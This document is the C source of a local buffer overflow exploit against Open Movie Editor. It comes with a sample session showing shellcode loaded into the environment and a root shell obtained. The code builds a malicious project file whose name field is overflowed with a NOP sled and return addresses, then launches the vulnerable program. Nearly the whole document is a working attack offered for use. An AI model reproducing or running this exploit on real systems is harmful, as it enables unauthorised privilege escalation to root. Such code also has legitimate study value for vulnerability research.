openmovieeditor.txt

`/*  
* openmovieeditor buffer overflow exploit  
* by qnix < qnix[at]bsdmail[dot]org  
*  
* Dont forget to change the return address (RETADDR)  
*  
*  
* --------------------------  
* devil: ~ \> envt/envt -s 2  
* Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes  
* [+] Setting memory for the shellcode.  
* [+] Copying shellcode to memory.  
* [+] Putting shellcode in the environment.  
* [+] Going into the environment (ENVT) and exiting ....  
* Done 37 bytes loaded to (ENVT)  
* devil: ~ \> envt/envt  
* SHELLCODE FOUND IN 0xbffffbf5  
* devil: ~ \> ./ome_buf   
*  
* *****************************************  
* openmovieeditor buffer overflow exploit  
* by qnix < qnix[at]bsdmail[dot]org  
* Dont forget to change the return address  
* *****************************************  
*  
* Usage : ./ome_buf <filename> <openmovieeditor>  
* devil: ~ \> ./ome_buf Video\ Projects/exploit.vproj /usr/local/bin/openmovieeditor   
*  
* [+] Video Projects/exploit.vproj Created|Opened  
* [~] Desired Return Addr : 0xbffffbf5  
* [~] Offset from ESP : 0x0  
* [+] Executing openmovieeditor  
*  
* sh-3.1# whoami;id  
* root  
* uid=0(root) gid=0(root) groups=0(root)  
* sh-3.1# exit  
* exit  
*  
* --------------------------  
*  
* */  
  
#include <stdio.h>  
#include <stdlib.h>  
  
#define RETADDR '\xbf\xff\xfb\xf5'  
#define SLEEP sleep(1);  
  
int main(int argc,char *argv[]) {  
FILE *output;  
  
int i, offset;  
long ret, *addr_ptr;  
char *buffer, *ptr;  
  
offset = 0;  
ret = RETADDR - offset;  
  
if(argc != 3) {  
fprintf(stderr,"\n*****************************************\n");  
fprintf(stderr,"openmovieeditor buffer overflow exploit\n");  
fprintf(stderr,"by qnix < qnix[at]bsdmail[dot]org\n");  
fprintf(stderr,"Dont forget to change the return address\n");  
fprintf(stderr,"*****************************************\n\n");  
  
fprintf(stderr,"Usage : %s <filename> <openmovieeditor>\n",argv[0]);  
return 0;  
}  
  
output = fopen(argv[1],"w+");  
  
if(output == 0) {  
fprintf(stderr,"\n[-] Cannot create %s\n",argv[1]);  
SLEEP  
return 0;  
} else {  
fprintf(stdout,"\n[+] %s Created|Opened\n",argv[1]);  
SLEEP  
}  
  
fprintf(output,"<?xml version=\"1.0\" standalone=\"no\" ?>\n");  
fprintf(output,"<open_movie_editor_project>\n");  
fprintf(output," <version>0.0.20060901</version>\n");  
  
/* evil code ^_^ */  
buffer = malloc(2300);  
ptr = buffer;  
addr_ptr = (long *) ptr;  
for(i=0; i < 2300; i+=4)  
{ *(addr_ptr++) = ret; }  
for(i=0; i < 1040; i++)  
{ buffer[i] = '\x90'; }  
ptr = buffer + 1044;  
buffer[2300-1] = 0;  
  
fprintf(output," <name>%s</name>\n",buffer);  
fprintf(output," <zoom value=\"1.000000\" />\n");  
fprintf(output," <scroll value=\"0\" />\n");  
fprintf(output," <stylus value=\"0\" />\n");  
fprintf(output," <video_tracks>\n");  
fprintf(output," <track />\n");  
fprintf(output," <track />\n");  
fprintf(output," </video_tracks>\n");  
fprintf(output," <audio_tracks>\n");  
fprintf(output," <track />\n");  
fprintf(output," <track />\n");  
fprintf(output," </audio_tracks>\n");  
fprintf(output,"</open_movie_editor_project>\n");  
  
fprintf(stdout,"[~] Desired Return Addr : 0x%x\n", ret);  
SLEEP  
fprintf(stdout,"[~] Offset from ESP : 0x%x\n", offset);  
SLEEP  
  
fprintf(stdout,"[+] Executing openmovieeditor\n\n");  
fclose(output);  
SLEEP  
  
execl(argv[2],"openmovieeditor",0);  
  
return 0;  
}   
  
  
`